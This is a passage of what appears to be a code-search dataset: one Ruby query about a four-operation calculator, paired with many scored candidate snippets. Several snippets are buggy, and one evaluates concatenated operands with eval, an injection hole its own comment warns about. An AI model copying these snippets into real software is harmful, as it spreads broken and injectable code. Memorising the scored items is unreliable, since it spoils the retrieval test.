"text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.56903195", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.56903195", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.56903195", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.56903195", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.56903195", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.56903195", "text": "def options; end", "title": "" } ]
b06502622e5df8a22c1147fec56ed2b0
=begin Your task is to create a function that does four basic mathematical operations. The function should take three arguments operation(string/char), value1(number), value2(number). The function should return result of numbers after applying the chosen operation. =end
[ { "docid": "16dce2bc68fddcde3d31e4dc0f0007b6", "score": "0.0", "text": "def basic_op(operator, value1, value2)\nvalue1.send(operator,value2)\nend", "title": "" } ]
[ { "docid": "dd18a7b5637dac010467c882b4e9feca", "score": "0.7688857", "text": "def calculate(operation, n1, n2)\n if operation == \"add\" || operation == \"+\"\n return \"#{n1} + #{n2} = #{n1+n2}\"\n elsif operation == \"subtract\" || operation == \"-\"\n return \"#{n1} - #{n2} = #{n1-n2}\"\n elsif operation == \"multiply\" || operation == \"*\"\n return \"#{n1} * #{n2} = #{n1*n2}\"\n elsif operation == \"divide\" || operation == \"/\"\n if n2 == 0\n return \"undefined\"\n else\n return \"#{n1} / #{n2} = #{n1/n2}\"\n end\n elsif operation == \"exponent\" || operation == \"^\"\n return \"#{n1} ^ #{n2} = #{n1**n2}\"\n elsif operation == \"modulo\" || operation == \"%\"\n return \"#{n1} % #{n2} = #{n1%n2}\"\n end\nend", "title": "" }, { "docid": "41475219c5a452bfe799c799e4e9bbe2", "score": "0.7675078", "text": "def calculator(number1, number2, operation)\n case operation\n when \"A\"\n number1 + number2\n when \"S\"\n number1 - number2\n when \"M\"\n number1 * number2\n when \"D\"\n divide_integers(number1, number2)\n else\n \"Unknown operation. Giving up.\"\n end\nend", "title": "" }, { "docid": "3b48c753cfc910ba06faff6b11a87976", "score": "0.76557857", "text": "def calculate(op1, operator, op2)\n\tstring = op1.to_s + operator + op2.to_s\n\n\t# operator is assumed to be a string; \n\t# make one big string of it and the two operands \n\teval(string) # evaluate and return a value - never use eval ! eval is EVIL lol \nend", "title": "" }, { "docid": "6c5bdc8a96c74e89028591dbd22c3407", "score": "0.76476496", "text": "def math(operator, first_num, second_num)\n if operator ==\"*\"\n first_num*second_num\n elsif operator == \"/\"\n first_num/second_num\n elsif operator == \"+\"\n first_num+second_num\n else\n first_num-second_num\n end\nend", "title": "" }, { "docid": "9e5dfc81a1fadf4de233599070037990", "score": "0.7599593", "text": "def calculate(starting_value, operations)\n sum = starting_value\n operations.each do |ops|\n operator = ops[0]\n operand = ops[1]\n \n case operator\n when '+'\n sum += operand \n when '-'\n sum -= operand\n when '*'\n sum *= operand\n when '/'\n sum /=operand\n else \n end\n end \n sum \nend", "title": "" }, { "docid": "6e0fa14590119cb3c229c630956cb73f", "score": "0.7595833", "text": "def calculator(num1, num2)\n\treturn num1 + num2, num1 - num2, num1 * num2, num1 / num2\nend", "title": "" }, { "docid": "f7db4511422deff2355379aa9becf505", "score": "0.7564355", "text": "def calculator_method(number_one, operator, number_two)\n if operator == \"+\"\n return result = number_one + number_two\n elsif operator == \"-\"\n return result = number_one - number_two\n elsif operator == \"*\"\n return result = number_one * number_two\n else operator == \"/\"\n return result = number_one / number_two\n end\nend", "title": "" }, { "docid": "8621023af4da427d80d7dfcba4ddef82", "score": "0.7555931", "text": "def operation(operator, num1, num2)\n case operator \n when 1 \n puts \"The operational result is: #{num1.to_f + num2.to_f}\"\n puts \"==> #{num1.to_s} + #{num2.to_s} = #{num1.to_f + num2.to_f}\"\n when 2 \n puts \"The operational result is: #{num1.to_f - num2.to_f}\"\n puts \"==> #{num1.to_s} - #{num2.to_s} = #{num1.to_f - num2.to_f}\"\n when 3\n puts \"The operational result is: #{num1.to_f * num2.to_f}\"\n puts \"==> #{num1.to_s} * #{num2.to_s} = #{num1.to_f * num2.to_f}\"\n else\n puts \"The operational result is: #{num1.to_f / num2.to_f}\"\n puts \"==> #{num1.to_s} / #{num2.to_s} = #{num1.to_f / num2.to_f}\"\n end\nend", "title": "" }, { "docid": "6a29b9af86359e5e1df71ba301d7c449", "score": "0.7555487", "text": "def do_math(operand, val1, val2)\n case operand\n when \"+\"\n val1 + val2\n when \"-\"\n val1 - val2\n when \"*\"\n val1 * val2\n when \"/\"\n val1 / val2\n end\nend", "title": "" }, { "docid": "bf269b1931904e105446c408a29f19b5", "score": "0.7546624", "text": "def calculator(operator_active, num1, num2)\n case operator_active\n when \"+\"\n return num1 + num2\n when \"-\"\n return num1 - num2\n when \"*\"\n return num1 * num2\n when \"/\"\n return num1 / num2\n end\nend", "title": "" }, { "docid": "734912d62b0316ca47e21976a17bd463", "score": "0.753277", "text": "def calc(num1, mathop, num2)\n if mathop == \"+\"\n return num1 + num2\n elsif mathop == \"-\"\n return num1 - num2\n elsif mathop == \"*\"\n return num1 * num2\n elsif mathop == \"/\"\n return num1 / num2\n else\n return \"I did not recognize your input, please try again.\"\n end\nend", "title": "" }, { "docid": "66179cd90d217d8d82865de7a3175fec", "score": "0.75123525", "text": "def basic_op(operator, value1, value2)\n case operator\n when \"+\"\n value1 + value2\n when \"-\"\n value1 - value2\n when \"*\"\n value1 * value2\n when \"/\"\n value1 / value2\n end\nend", "title": "" }, { "docid": "2fc78c0cd35899973bb7db7a16e59c5e", "score": "0.7495063", "text": "def do_math(num1, num2, operation)\n case operation\n when '+'\n num1.to_i + num2.to_i\n when '-'\n num1.to_i - num2.to_i\n when '*'\n num1.to_i * num2.to_i\n when '/'\n num1.to_f / num2.to_f\n end\nend", "title": "" }, { "docid": "3f92b5c1b9f6c92e7e534f47235e8f31", "score": "0.7472409", "text": "def basic_op(operator, value1, value2)\n case operator\n when '+'\n value1 + value2\n when '-'\n value1 - value2\n when '*'\n value1 * value2\n when '/'\n value1 / value2\n end\nend", "title": "" }, { "docid": "252482b68eb52846d6ca59b0f22f55cd", "score": "0.74036354", "text": "def doMath(num1, num2, operator)\n # puts \"#{num1} #{operator} #{num2} \"\n case operator\n when \"+\"\n answer = num1 + num2\n when \"-\"\n answer = num1 - num2\n when \"*\"\n answer = num1 * num2\n when \"/\"\n answer = num1 / num2\n else\n answer = nil\n end\n # puts answer\n return answer\nend", "title": "" }, { "docid": "9a31b1966035d8b35348ea27ce9e2164", "score": "0.7396617", "text": "def arithmetic(a, b, operator)\n $oper = operator\n case $oper\n when 'add'\n return a + b\n\n when 'subtract'\n return a - b\n\n when 'multiply'\n return a * b\n\n when 'divide'\n return a / b\n \n end\nend", "title": "" }, { "docid": "aea4c7b0b8c7a84504c6ffb43197d379", "score": "0.7389218", "text": "def arithmetic(a, b, operator)\n if operator == \"add\"\n a + b\n elsif operator == \"subtract\"\n a - b\n elsif operator == \"multiply\"\n a * b\n elsif operator == \"divide\"\n a/b\n else\n print \"hahaa\"\n end\nend", "title": "" }, { "docid": "2b06ebb10fc273bffaaf9391505056fd", "score": "0.73698545", "text": "def calculator(operation, num1, num2)\n \n if [\"+\", \"-\", \"*\" , \"/\"].include?(operation)\n num1.method(operation).(num2)\n else\n puts \"Invalid operation!\"\n nil\n end\nend", "title": "" }, { "docid": "511e2a6b574e832999a6ee8a9340bebb", "score": "0.7309065", "text": "def operation(num)\n\treturn num*num, num**3\nend", "title": "" }, { "docid": "71182ce1f8260985ac3207dd524bd6c3", "score": "0.7292459", "text": "def calculator_1(operator, num1, num2)\n # See exercise 36\nend", "title": "" }, { "docid": "d533d5c0cad2195c350004f972e9c7b6", "score": "0.72825444", "text": "def calculator(op, num1, num2)\n if op == \"add\" || op == \"+\" || op == \"addition\"\n return num1 + \" + \" + num2 + \" = #{add(num1.to_i, num2.to_i)}\"\n elsif op == \"subtract\" || op == \"-\" || op == \"subtraction\"\n return num1 + \" - \" + num2 + \" = #{sub(num1.to_i, num2.to_i)}\"\n elsif op == \"multiply\" || op == \"*\" || op == \"multiplication\"\n return num1 + \" * \" + num2 + \" = #{mult(num1.to_i, num2.to_i)}\"\n elsif op == \"divide\" || op == \"/\" || op == \"division\"\n return num1 + \" / \" + num2 + \" = #{div(num1.to_i, num2.to_i)}\"\n elsif op == \"modulo\" || op == \"remainder\" || op == \"%\"\n return num1 + \" % \" + num2 + \" = #{mod(num1.to_i, num2.to_i)}\"\n else op == \"exponent\" || op == \"^\"\n return num1 + \"^\" + num2 + \" = #{exponent(num1.to_i, num2.to_i)}\"\n end\nend", "title": "" }, { "docid": "ae1791c18d5d56d3214739b1add94329", "score": "0.72776085", "text": "def calculate( a, operator, c )\n\tif operator == \"+\"\n\t\ta + c\n\telsif operator == \"-\"\n\t\ta - c\n\telsif operator == \"*\"\n\t\ta * c\n\telsif operator == \"/\"\n\t\ta/c\n\t\t\n\tend\n\t\nend", "title": "" }, { "docid": "47e635bb6a895c1db3da2e6f6648e59b", "score": "0.7271081", "text": "def calculate(op, x, y)\n case op\n when 'plus'\n x.to_f + y.to_f\n when 'minus'\n x.to_f - y.to_f\n when 'divide'\n x.to_f / y.to_f\n when 'multiple'\n x.to_f * y.to_f\n end\nend", "title": "" }, { "docid": "6e4ff68ac1b7101b98247b9872303249", "score": "0.72652215", "text": "def calculate_answer(operator, a, b)\r\n\r\n if operator == \"add\"\r\n return result= a + b\r\n elsif operator == \"subtract\"\r\n return result = a - b\r\n elsif operator == \"multiply\"\r\n return result = a * b\r\n elsif operator == \"divide\"\r\n return result = a / b\r\n\r\n end\r\n\r\nend", "title": "" }, { "docid": "75e15e313b58b997c239ee9862fd20cc", "score": "0.7246037", "text": "def arithmetic2(a, b)\nend", "title": "" }, { "docid": "1cd9121bb49f9bb977c598654bcc4e63", "score": "0.7237795", "text": "def calculator(a , b, operation = \"add\")\n if operation == \"add\"\n add(a, b)\n elsif operation == \"subtract\"\n subtract(a, b)\n elsif operation == \"multiply\"\n multiply(a, b)\n else\n \"That's not a math operation, genius!\"\n end\nend", "title": "" }, { "docid": "d5768e1ae8e4c81fa6e6dc62e10097ba", "score": "0.72348404", "text": "def calculate_answer(operator, a, b)\n\n if operator == \"add\"\n return result= a + b\n elsif operator == \"subtract\"\n return result = a - b\n elsif operator == \"multiply\"\n return result = a * b\n elsif operator == \"divide\"\n return result = a / b\n\nend", "title": "" }, { "docid": "550045f57df951bc5fbeb44c39101443", "score": "0.7217896", "text": "def calculate(starting_value, operations)\n for i in 0...operations.length\n # just in case an unexpected operator is given:\n if '*/+-'.include?(operations[i][0]) == false\n puts 'unexpected operator!'\n break\n end\n \n if operations[i][0] == \"*\"\n starting_value *= operations[i][1]\n elsif operations[i][0] == \"+\"\n starting_value += operations[i][1]\n elsif operations[i][0] == \"-\"\n starting_value -= operations[i][1]\n else\n starting_value /= operations[i][1]\n end\n end\n starting_value\nend", "title": "" }, { "docid": "a0451ab9f24de1e2d9abcc83c1405b95", "score": "0.7200822", "text": "def calculate(integer, operator, integer1)\n\tif operator == \"+\"\n\t\tp integer + integer1\n\telsif operator == \"-\"\n\t\tp integer - integer1\n\telsif operator == \"*\"\n\t\tp integer * integer1\n\telsif operator == \"/\"\n\t\tp integer / integer1\n\telse\n\t\tp \"I'm sorry that's not a valid equation!\"\n\t\t\n\tend\nend", "title": "" }, { "docid": "e767e99d6f86418c84407cdb560a7bd9", "score": "0.7195039", "text": "def calculate(operator, num1, num2)\n # Use case when to invoke each method\n case operator\n when \"add\", \"+\"\n puts \"#{num1} + #{num2} = #{add(num1, num2)}\"\n # Do I need a return here\n when \"subtract\", \"-\"\n puts \"#{num1} - #{num2} = #{subtract(num1, num2)}\"\n when \"multiply\", \"*\"\n puts \"#{num1} * #{num2} = #{multiply(num1, num2)}\"\n when \"divide\", \"/\"\n puts \"#{num1} / #{num2} = #{divide(num1, num2)}\"\n when \"modulo\", \"%\"\n puts \"#{num1} % #{num2} = #{mod(num1, num2)}\"\n when \"exponify\", \"**\"\n puts \"#{num1}^#{num2} = #{exponify(num1, num2)}\"\n end\nend", "title": "" }, { "docid": "8c13a178c90131bf022c659deaada465", "score": "0.7163018", "text": "def calculator_method(operator, number_1, number_2)\n case operator\n when \"add\"\n total = number_1 + number_2\n when \"+\"\n total = number_1 + number_2\n when \"subtract\"\n total = number_1 - number_2\n when \"-\"\n total = number_1 - number_2\n when \"multiply\"\n total = number_1 * number_2\n when \"x\"\n total = number_1 * number_2\n when \"*\"\n total = number_1 * number_2\n when \"divide\"\n total = number_1.to_f / number_2.to_f\n when \"/\"\n total = number_1.to_f / number_2.to_f\n end\n return total\nend", "title": "" }, { "docid": "a09717511caaafdc7c23b8e22a00049c", "score": "0.7162358", "text": "def calculator(a = 1,b = 1, operation = \"add\")\n if operation == \"add\"\n \"The result of operation #{a} + #{b} is: #{add(a, b)}\"\n elsif operation == \"substract\"\n \"The result of operation #{a} - #{b} is: #{substract(a, b)}\"\n elsif operation == \"multiply\"\n \"The result of operation #{a} * #{b} is: #{multiply(a, b)}\"\n else\n \"That's not a real math operation\"\n end\nend", "title": "" }, { "docid": "6971b8d72ff6808d9507087304c7de9d", "score": "0.7154794", "text": "def operation_of(a, b, op)\n if op == \"add\"\n return a + b\n elsif op == \"subtract\"\n return a - b \n elsif op == \"multiply\"\n return a * b \n elsif op == \"divide\"\n if b == 0\n return \"undefined\"\n else\n return a / b\n end\n end\nend", "title": "" }, { "docid": "c685aadd88d90642cc1b8f0b14a73441", "score": "0.7151844", "text": "def basic_calculator\n print \"Do you wish to add, subtract, multiply or divide?: \"\n operation = gets.chomp.downcase\n\n if operation == \"add\"\n formula\n puts (@first_num + @second_num)\n elsif operation == \"subtract\"\n formula\n puts (@first_num - @second_num)\n elsif operation == \"multiply\"\n formula\n puts (@first_num * @second_num)\n elsif operation == \"divide\"\n formula\n puts (@first_num / @second_num)\n else\n puts \"Invalid selection.\"\n end\n end", "title": "" }, { "docid": "5db724ebb836a84e0695450821dc9849", "score": "0.7148445", "text": "def sum (operator, a, b)\n if operator == \"add\"\n a + b\n elsif operator == \"subtract\"\n a - b\n elsif operator == \"multiply\"\n a * b\n elsif operator == \"divide\"\n a / b\n end\nend", "title": "" }, { "docid": "b8e5c45754a00225e677efb442eace30", "score": "0.7133168", "text": "def check_operation x, num1, num2\n case x\n when \"+\" then num1 + num2\n when \"-\" then num1 - num2\n when \"*\" then num1 * num2\n when \"/\" then num1 / num2\n when \"exp\" then num1 ** num2\n when \"sqrt\" then Math.sqrt num1\n else \"Invalid operation choosen\"\n end\nend", "title": "" }, { "docid": "c3179fd890ce794c785de46cdebb3ff8", "score": "0.713013", "text": "def operation(a_number, b_number, flag)\n case flag \n when 'addition'\n a_number + b_number \n when 'subtraction'\n a_number - b_number\n when 'multiplication'\n a_number * b_number \n when 'division'\n a_number / b_number\n when 'remainder'\n a_number % b_number\n when 'power'\n a_number ** b_number\n end \nend", "title": "" }, { "docid": "9b5ec99d1de0d9c0922eefc7f9815fd4", "score": "0.7124944", "text": "def calculate(x, operator, y)\n\t# lots of ways to do the below part ...\n\t# if/elsif would have worked,\n\t# as would a case statement\n\treturn x + y if operator == '+'\n\treturn x - y if operator == '-'\n\treturn x * y if operator == '*'\n\treturn x / y if operator == '/'\nend", "title": "" }, { "docid": "eeac3fb7c71a69e4dceacbcf0175b188", "score": "0.7069576", "text": "def operate num1, num2, oper\n\n case oper\n when 1\n result = num1.to_i + num2.to_i\n output_message \"The solution is #{result}\"\n when 2\n result = num1.to_i - num2.to_i\n output_message \"The solution is #{result}\"\n when 3\n result = num1.to_i * num2.to_i\n output_message \"The solution is #{result}\"\n when 4\n begin\n result = num1.to_f / num2.to_f\n output_message \"The solution is #{result}\"\n rescue \n output_message \"Error: Cannot Divide by 0!\"\n end\n end\n\nend", "title": "" }, { "docid": "f3266358a36d074cd9743d4e9515a20d", "score": "0.7068913", "text": "def calculate_answer(operator, a, b)\n if operator == \"add\"\n a + b \n elsif operator == \"subtract\"\n a - b\n elsif operator == \"multiply\"\n a * b\n elsif operator == \"divide\"\n a / b\n elsif operator == \"exponent\"\n a ** b\n elsif operator == \"modulus\"\n a % b\n end\nend", "title": "" }, { "docid": "5aaaf6556d9b35fbdf2faa29f4414ed1", "score": "0.7040267", "text": "def calculate(a,b,operation=\"add\") #default parameter\n if operation == \"add\"\n add(a,b)\n elsif operation == \"multiply\"\n multiplier(a,b)\n elsif operation == \"subtract\"\n subtract(a,b)\n else\n return \"Not a valid mathematical operation\"\n end\nend", "title": "" }, { "docid": "27f5acdd100485eb62094458e92dae9a", "score": "0.70325845", "text": "def display_result(num1, num2, operator)\n # say \"num1: #{num1}, num2: #{num2}, operator #{operator}\"\n case operator\n when '1'\n result = num1.to_i + num2.to_i\n say \"#{num1} + #{num2} = #{result}\"\n when '2'\n result = num1.to_i - num2.to_i\n say \"#{num1} - #{num2} = #{result}\"\n when '3'\n begin\n result = num1.to_f / num2.to_f\n say \"#{num1} / #{num2} = #{result}\"\n rescue\n say(\"Div by 0\")\n end\n else\n result = num1.to_i * num2.to_i\n say \"#{num1} * #{num2} = #{result}\"\n end\n result.to_s\nend", "title": "" }, { "docid": "609a08ae22585a0889c701ff293fe3b7", "score": "0.7000944", "text": "def calculation(a,b, operation)\n operation.call(a,b)\n end", "title": "" }, { "docid": "bc3beef6d41cc56dd0de4c2fde363e32", "score": "0.7000842", "text": "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n operation = gets.chomp.downcase\n print \"first number: \"\n a = gets.to_f\n print \"second number: \"\n b = gets.to_f\n \n case operation\n when 'a'\n puts \"#{a + b}\"\n when 's'\n puts \"#{a - b}\"\n when 'm'\n puts \"#{a * b}\"\n when 'd'\n puts \"#{a / b}\"\n else\n puts \"WRONG!!!!!\"\n basic_calc\n end\n\n gets\nend", "title": "" }, { "docid": "b9a74a56603347f025b17c51685c54ea", "score": "0.6991413", "text": "def calculator num1, operator, num2\n # Our 'if' statement checks to see if we have found the string of plus or minus and uses the according operator.\n if operator == \"plus\"\n return num1 + num2\n else\n return num1 - num2\n end\n end", "title": "" }, { "docid": "8eb4f5e16c5c55c4a16b9a38e9b529ec", "score": "0.69807196", "text": "def operation_of(a, b, op)\n if op == \"add\"\n return a + b\n elsif op == \"subtract\"\n return a - b\n elsif op == \"multiply\"\n return a * b\n elsif op == \"divide\"\n if b == 0\n return \"undefined\"\n else\n return a / b\n end\n end\nend", "title": "" }, { "docid": "d1c7d923d921aeb27083c57aa2ceae7d", "score": "0.6948549", "text": "def basic_operation(a, b, type)\n case type\n when 1\n puts \"Answer: #{a + b}\"\n when 2\n puts \"Answer: #{a - b}\"\n when 3\n puts \"Answer: #{a * b}\"\n when 4\n puts \"Answer: #{a / b}\"\n end\nend", "title": "" }, { "docid": "926d3032bab8d822c33b7881d0eea5f8", "score": "0.6945849", "text": "def arithmetic1(n)\r\r\n n * 5 - 20\r\r\nend", "title": "" }, { "docid": "d71a8bba3f20a14a7be227e945b3023f", "score": "0.6927378", "text": "def calculator(a,b)\n puts \"The sub of #{a} and #{b} is #{a + b}\"\n puts \"The difference of #{a} and #{b} is #{a - b}\"\n puts \"The multiplication of #{a} and #{b} is #{a * b}\"\n end", "title": "" }, { "docid": "f5a5949b87e30a9873248bdf3e38ab05", "score": "0.6922805", "text": "def calculation(choice, num1, num2)\n\n if choice == \"add\"\n return num1 + num2\n\n elsif choice == \"subtract\"\n return num1 - num2\n\n elsif choice == \"multiply\"\n return num1 * num2\n\n elsif choice == \"divide\"\n return num1 / num2\n\n elsif choice == \"exponent\"\n return num1 ** num2\n\n elsif choice == \"square\"\n return Math.sqrt(num1)\n end\nend", "title": "" }, { "docid": "7c0e3c7b113b8de478d0d425eac3076d", "score": "0.69160146", "text": "def calculate_answer(operator, a, b)\n\tif operator == \"add\"\n \ta + b\n\telsif operator == \"subtract\"\n \t\ta - b\n\telsif operator == \"multiply\"\n \ta * b\n\telsif operator == \"divide\"\n \ta / b\n\telsif operator == \"square\"\n \t\ta ** b\n\telsif operator == \"bmi\"\n \t\ta / (b ** 2)\n\tend\nend", "title": "" }, { "docid": "87f6c5615125861200314e3ac716495d", "score": "0.6909988", "text": "def calculator(x, operator, y)\r\n\r\n\tif ['+', '-', '*', '/'].include? operator\r\n\t\tcalculation = x.send(operator.to_sym, y) #send x to object (operator which has been converted to a symbol) and y. calculation will now = x (operator) y\r\n\telse\r\n\t\tputs \"ERROR! Invalid input. Please try again.\"\r\n\tend\r\n\treturn calculation #previously had this set to 'print' instead of 'return' which was causing issues when needing to print a history of values returned\r\nend", "title": "" }, { "docid": "ed3aa5b09e9840cda7a165ae01749d95", "score": "0.690993", "text": "def evaluate(op, left_arg, right_arg)\n case\n when op == '+' then return left_arg + right_arg\n when op == '-' then return left_arg - right_arg\n when op == '*' then return left_arg * right_arg\n when op == '/' then return left_arg / right_arg\n when op == '%' then return left_arg % right_arg\n end\nend", "title": "" }, { "docid": "9da17370187eab48dad7133b70f97061", "score": "0.68902206", "text": "def sum (operator, a, b)\n if operator == \"exponents\"\n a ** b\n elsif operator == \"square root\"\n Math.sqrt(a)\n end\nend", "title": "" }, { "docid": "f2600b0edf60978ade9ab0748ab93c72", "score": "0.6886776", "text": "def calculator \n valid_operations = [\"add\",\"+\",\"subtract\",\"-\",\"multiply\",\"*\",\"divide\",\"/\"]\n \n # ask user for math operations \n # check if operation is valid and if not ask for a new input \n puts \"What is the math operation?\"\n operation = gets.chomp.strip.downcase \n until valid_operations.include?(operation)\n puts \"Please enter a valid operation\"\n operation = gets.chomp\n end \n \n \n # ask user for numbers and input validation \n puts \"What is the first number for the math operation?\"\n number_one = gets.chomp.strip\n number_one = check_number(number_one)\n puts \"What is the seccond number for the math operation?\"\n number_two = gets.chomp.strip\n number_two = check_number(number_two)\n \n # use user input to do math operations \n if operation == \"add\" || operation == \"+\"\n result = number_one + number_two \n operation = \"+\"\n elsif operation == \"subtract\" || operation == \"subtract\"\n result = number_one - number_two \n operation = \"-\"\n elsif operation == \"multiply\" || operation == \"*\"\n result = number_one * number_two \n operation = \"*\"\n elsif operation == \"divide\" || operation == \"/\"\n result = number_one / number_two \n operation = \"/\"\n \n end \n \n \n # display result of calculation to user \n puts \" #{number_one} #{operation} #{number_two} = #{result}\"\nend", "title": "" }, { "docid": "bd88af43383b9855493705f2a405cc17", "score": "0.68863165", "text": "def Calculator(leftParam, rightParam, operator)\n\n case operator\n\n when \"+\"\n return leftParam + rightParam;\n when \"*\"\n\n i = 0\n result = 0\n while i < leftParam #2\n result = result + rightParam #@\n i= i + 1\n end\n\n return result\n end\nend", "title": "" }, { "docid": "15f6ea9345c37b36a64214ada93bfad6", "score": "0.6878738", "text": "def basic_calc\n puts \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n basic = gets.chomp.downcase\n\n get_two_numbers\n\n case basic\n when \"a\"\n \tputs addition($num1, $num2)\n when \"s\"\n \tputs subtraction($num1, $num2)\n when \"m\"\n \tputs multiplication($num1, $num2)\n when \"d\"\n \tputs division($num1, $num2)\n end\n\nend", "title": "" }, { "docid": "bbe6f0967a034f38e66b6c98ef558ec4", "score": "0.68647885", "text": "def operation(x)\n Math.sqrt(x.abs) + 5 * x ** 3\nend", "title": "" }, { "docid": "a681953fd16254338df4153805c68a9d", "score": "0.6862405", "text": "def arithmetic_ops\n puts \"Enter first number:\"\n num1 = gets.to_i\n puts \"Enter the second number:\"\n num2 = gets.to_i\n\n puts \"#{num1} + #{num2} = #{num1 + num2}\" \n puts \"#{num1} - #{num2} = #{num1 - num2}\" \n puts \"#{num1} * #{num2} = #{num1 * num2}\" \n puts \"#{num1} / #{num2} = #{num1 / num2}\" \n puts \"#{num1} % #{num2} = #{num1 % num2}\" \n puts \"#{num1} ** #{num2} = #{num1 ** num2}\"\n \nend", "title": "" }, { "docid": "89f341b7016bfd8a49dd1e43e103357d", "score": "0.68601274", "text": "def operations\n puts \"(a) - addition (+)\"\n puts \"(s) - subtraction (-)\"\n puts \"(m) - multiplication (*)\"\n puts \"(d) - division (/)\"\nend", "title": "" }, { "docid": "02f1ab7e3eddec835702be3ed6c03071", "score": "0.6854761", "text": "def arithmetic1 (n)\nn*5-20\nend", "title": "" }, { "docid": "ae644ebfab37a7e3153f211c7126541c", "score": "0.68459725", "text": "def calculator_1(operator, num1, num2)\n outcome = num1.send(operator, num2)\nend", "title": "" }, { "docid": "1a96df1c0bf37bad5b452bb41fa65b2f", "score": "0.68364114", "text": "def calculator(operator, *numbers)\n result = 0\n if operator == \"*\"\n result = 1\n else\n result = numbers[0]\n numbers.shift\n end\n\n numbers.each do |arg|\n #result = arg operator.send result\n result = result.send(operator,arg)\n end\n return result\nend", "title": "" }, { "docid": "a33763b5a0f67f1336db72da708720f5", "score": "0.681322", "text": "def calculator\n #ask user method\n puts \"What calculation would you like to do? (add, sub, mult, div)\"\n calc_type = gets.chomp\n\n #ask for first number\n puts \"What is number 1? where result = num_1 operator num_2\"\n num_1 = gets.chomp\n num_1 = num_1.to_f\n\n #ask for second number\n puts \"What is number 2?\"\n num_2 = gets.chomp\n num_2 = num_2.to_f\n\n # do calculation using num_1, num_2, calc_type\n if calc_type == \"add\"\n result = num_1 + num_2\n elsif calc_type == \"sub\" \n result = num_1 - num_2\n elsif calc_type == \"mult\" \n result = num_1 * num_2\n else\n result = num_1.to_f / num_2.to_f\n end\n #return result\n puts \"#{result}\"\n return result\n\nend", "title": "" }, { "docid": "65d6e76ec1763a84b1a86fa873ef741f", "score": "0.68003494", "text": "def operation(o, x, y)\n case o\n when '+'\n x + y\n when '-'\n x - y\n when 'x'\n x * y\n when '/'\n x / y\n else\n raise \"invalid operation #{o}\"\n end\nend", "title": "" }, { "docid": "b989d9235bee534ecd4817232c13be74", "score": "0.6787591", "text": "def basic_calc\n\n\n print Rainbow(\"(a)\").green + \"dd, \" + Rainbow(\"(s)\").yellow + \"ubtract, \" + Rainbow(\"(m)\").red + \"ultiply, \" + Rainbow(\"(d)\").cyan + \"ivide: \"\n basic_function = gets.chomp.downcase\n print \"Enter first number: \"\n first_number = gets.chomp.to_f\n print \"Enter second number: \"\n second_number = gets.chomp.to_f\n case basic_function\n when \"a\"\n answer = first_number + second_number\n puts \"Your answer is #{answer}\"\n when \"s\"\n answer = first_number - second_number\n puts \"Your answer is #{answer}\"\n when \"m\"\n answer = first_number * second_number\n puts \"Your answer is #{answer}\"\n when \"d\"\n answer = first_number / second_number\n puts \"Your answer is #{answer}\"\n \n else\n puts \"incorrect\"\n end \ngets\nend", "title": "" }, { "docid": "623facfb1f7c0778dbb482ee8c4cc862", "score": "0.6780218", "text": "def applyOperator(num1, num2, operator)\n\n\t\tif operator == \"+\"\n\t\t\treturn num1.to_i + num2.to_i\n\t\tend\n\n\t\tif operator == \"-\"\n\t\t\treturn num1.to_i - num2.to_i\n\t\tend\n\n\t\tif operator == \"*\"\n\t\t\treturn num1.to_i * num2.to_i\n\t\tend\n\n\t\tif operator == \"/\"\n\t\t\treturn num1.to_i / num2.to_i\n\t\tend\n\n\t\tif operator == \"%\"\n\t\t\treturn num1.to_i % num2.to_i\n\t\tend\n\n\t\tif operator == \"^\"\n\t\t\treturn num1.to_i ** num2.to_i\n\t\tend\n\n end", "title": "" }, { "docid": "5cd3851c7cb5ae2541593f8785d2b6ff", "score": "0.6767991", "text": "def maths(*numbers, options)\n\tnumbers.inject(options[:operation].to_sym)\nend", "title": "" }, { "docid": "5cd3851c7cb5ae2541593f8785d2b6ff", "score": "0.6767991", "text": "def maths(*numbers, options)\n\tnumbers.inject(options[:operation].to_sym)\nend", "title": "" }, { "docid": "379f6a35cdaa5b075e2bc7a3438cfcb4", "score": "0.67603874", "text": "def basic_calc\n puts Rainbow(\"(a)dd, (s)ubtract, (m)ultiply, (d)ivide\").yellow.inverse\n arithmetic_type = gets.chomp.downcase\n\n case arithmetic_type\n \n when 'a' \n puts \"whats your first number?\"\n response_1 = gets.strip.to_f \n puts \"whats your second number?\"\n response_2 = gets.strip.to_f\n result = response_1 + response_2\n puts \"#{response_1}+#{response_2} = #{result}\"\n\n when 's' \n puts \"whats your first number?\"\n response_1 = gets.strip.to_f \n puts \"whats your second number?\"\n response_2 = gets.strip.to_f\n result = response_1 - response_2\n puts \"#{response_1}-#{response_2} = #{result}\"\n when 'm' \n puts \"whats your first number?\"\n response_1 = gets.strip.to_f \n puts \"whats your second number?\"\n response_2 = gets.strip.to_f\n result = response_1 * response_2\n puts \"#{response_1}*#{response_2} = #{result}\"\n when 'd' \n puts \"whats your first number?\"\n response_1 = gets.strip.to_f \n puts \"whats your second number?\"\n response_2 = gets.strip.to_f\n result = response_1 / response_2\n puts \"#{response_1}/#{response_2} = #{result}\"\n\nend\nend", "title": "" }, { "docid": "795184b56544e6ac60e30b0de6f8ba00", "score": "0.6726131", "text": "def applyOperator(num1, num2, operator)\n #eval((num1.to_s + operator + num2.to_s).gsub(\"^\", \"**\"))\n @operators[operator][:action].call(num1.to_i, num2.to_i)\n end", "title": "" }, { "docid": "daba2d3eca6e619a431209c1ded5350d", "score": "0.67204016", "text": "def get_result(operator, *n)\n return $operations[operator].call(*n).to_s\nend", "title": "" }, { "docid": "4687d5181e9760863c9feca3751f094d", "score": "0.67155886", "text": "def mathy(n1, n2, operation)\n answer = n1.send(operation, n2).round(4)\n return answer\nend", "title": "" }, { "docid": "9f676cb41b386a4cb41869f456df10da", "score": "0.6713643", "text": "def basic_calc\n print \"(a)dd, (s)ubtract, (m)ultiply, (d)ivide: \"\n\nend", "title": "" }, { "docid": 